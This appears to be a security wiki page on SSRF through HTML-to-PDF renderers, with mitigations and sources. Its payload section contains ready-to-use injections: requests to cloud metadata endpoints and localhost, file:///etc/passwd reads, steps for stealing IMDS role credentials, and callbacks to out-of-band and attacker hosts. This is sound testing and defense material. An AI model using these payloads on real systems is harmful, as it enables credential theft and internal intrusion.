# SSRF in PDF and HTML Renderers
> HTML-to-PDF converters and headless browsers render attacker-controlled markup server-side, turning any `src`/`href`/`fetch` into an outbound request from the server — the "ultimate SSRF sink."
## How it works
Any "Export as PDF" / "Generate report / invoice / certificate" feature that renders user data through an HTML template is a candidate. The common pipeline is HTML template + dynamic data → headless renderer (Chromium/Puppeteer, wkhtmltopdf/QtWebKit, EvoPDF, dompdf, PhantomJS, iText/ColdFusion `<cfdocument>`) → PDF, run server-side and often **asynchronously** (a job queue), frequently in a cloud function (Lambda, Cloud Run) with an attached IAM role. When input is concatenated into the template without sanitization, you get HTML injection → the renderer fetches/executes whatever you inject. Fingerprint the engine via the `User-Agent` on your OAST callback (Chrome version, `wkhtmltopdf`, etc.).
Three injection contexts (BHIS): between tags, inside an attribute value, or inside an HTML-entity-encoded attribute. If raw `<h1>` renders as text, decode HTML entities in the request body first (the input may be pre-encoded and double-decoded by the backend). Burp Pro "External HTTP Interaction" / a rendered remote image both confirm an attribute context.
## Techniques / payloads
Full SSRF (response reflected into the PDF):
```html
<iframe src="http://169.254.169.254/latest/meta-data/" height=1000 width=1000></iframe>
<script>fetch('http://127.0.0.1').then(async r=>document.write(await r.text()))</script>
<script>var x=new XMLHttpRequest();x.onload=()=>document.write(this.responseText);x.open('GET','http://127.0.0.1');x.send()</script>
<embed src="http://localhost:8080/">
```
Blind SSRF / XSS-filter evasion (callback only, point at OAST):
```html
<base href="http://127.0.0.1"/> <link rel=stylesheet href="http://127.0.0.1">
<script src="http://127.0.0.1"></script> <meta http-equiv=refresh content="0;url=http://127.0.0.1/">
<img src="http://127.0.0.1"> <svg src="http://127.0.0.1"> <input type=image src="http://127.0.0.1">
<video src=x onerror=fetch('//oast')> <audio><source src="http://127.0.0.1"></audio>
```
Local file disclosure — most headless renderers run with disk access via `file://`:
```html
<iframe src="file:///etc/passwd" height=1000 width=1000></iframe>
```
Windows "known-file" proof when output is finicky: `<img src="file:///C:/Program Files/Internet Explorer/images/bing.ico">` (if the icon appears, `file://` works). When `file://` is blocked but HTML injection remains, HTTP-based SSRF (IMDS, internal services) still stands.
**IMDSv1 role-credential theft** (two requests): first `<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` to get the role name, then fetch `.../security-credentials/<role>` for the keys. See [[Cloud Metadata Service Exploitation]] and [[IMDSv2]].
Blind escalation uses a response oracle — usually **response time** (valid vs. filtered port), occasionally status-code/size — for internal port and host enumeration. See [[Blind SSRF]] and [[Out-of-Band Detection]].
## Notable cases
- **CVE-2024-34112** (Adobe ColdFusion `<cfdocument>`, pre-APSB24-41): `file://` iframe blocked after APSB24-14, bypassed with `<meta http-equiv="refresh" content="0; file:///etc/hosts">` staged from an attacker page loaded via `<iframe src="https://attacker/meta.html">`. Lucee's `<cfdocument>` ignores `<iframe>` but still renders other SSRF-capable tags.
- **CVE-2026-126799** (Gotenberg 8.31.0–8.38.0): `IsPublicIP()` bypassed with an IPv6 zone identifier (`%25eth0`) appended to the unspecified address / blocked prefixes in `downloadFrom`, `webhook`, or Chromium/LibreOffice URLs; unauthenticated, response read back in the PDF.
- **CVE-2023-33733**: ReportLab RML/HTML injection escalates to Python code execution inside the renderer.
- Field reports: EvoPDF and wkhtmltopdf notes apps exporting to PDF → SSRF → LFD; headless-Chrome generators with a stale, exploitable version point to RCE. The class is architectural, not vendor-specific.
## Defenses
- Don't render untrusted HTML; template with auto-escaping and an allowlist of tags/attributes. Treat PDF generation as a [[Partial SSRF]]-equivalent sink even when "only data" is injected.
- Disable local-file access (`wkhtmltopdf --disable-local-file-access`), disable JS where unused, block `file://`/`gopher://`/non-HTTP schemes.
- Run the renderer in an egress-restricted sandbox with no route to `169.254.169.254` or internal ranges; enforce [[IMDSv2]]. Resolve-then-pin the destination and re-validate on redirects.
- General guidance: [[SSRF Prevention]].
## Related
- [[Server-Side Request Forgery]]
- [[Local File Read via SSRF]]
- [[Cloud Metadata Service Exploitation]]
- [[Blind SSRF]]
- [[SSRF in Image and Media Processors]]
- [[Out-of-Band Detection]]
## Sources
- [[raw/intigriti.com/exploiting-pdf-generators-complete-guide-to-ssrf-3151|Exploiting PDF generators: A complete guide to finding SSRF vulnerabilities in PDF generators]]
- [[raw/medium.com/the-ultimate-sink-for-ssrfs-html-to-pdf-converters-3149|The Ultimate Sink for SSRFs - HTML To PDF Converters]]
- [[raw/blackhillsinfosec.com/hunting-for-ssrf-bugs-in-pdf-generators-184|Hunting for SSRF Bugs in PDF Generators - Black Hills Information Security]]
- [[raw/infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-24|Breaking Down SSRF on PDF Generation: A Pentesting Guide]]
- [[raw/hoyahaxa.com/ssrf-to-lfi-payload-for-pdf-generators-cve-2024-34112-3150|An SSRF to LFI Payload for PDF Generators (CVE-2024-34112 and beyond)]]
- [[raw/github.com/gotenberg-8-31-0-before-8-38-0-ssrf-14216|CVE-2026-126799 (Gotenberg SSRF via IPv6 zone identifiers) - GitHub Advisory]]
- [[raw/medium.com/securing-pdf-generators-against-ssrf-vulnerabilities-25|Securing PDF Generators Against SSRF Vulnerabilities]]
- [[raw/pentesterlab.com/pentesterlab-ssrf-in-pdf-generation-3148|PentesterLab: SSRF in PDF generation]]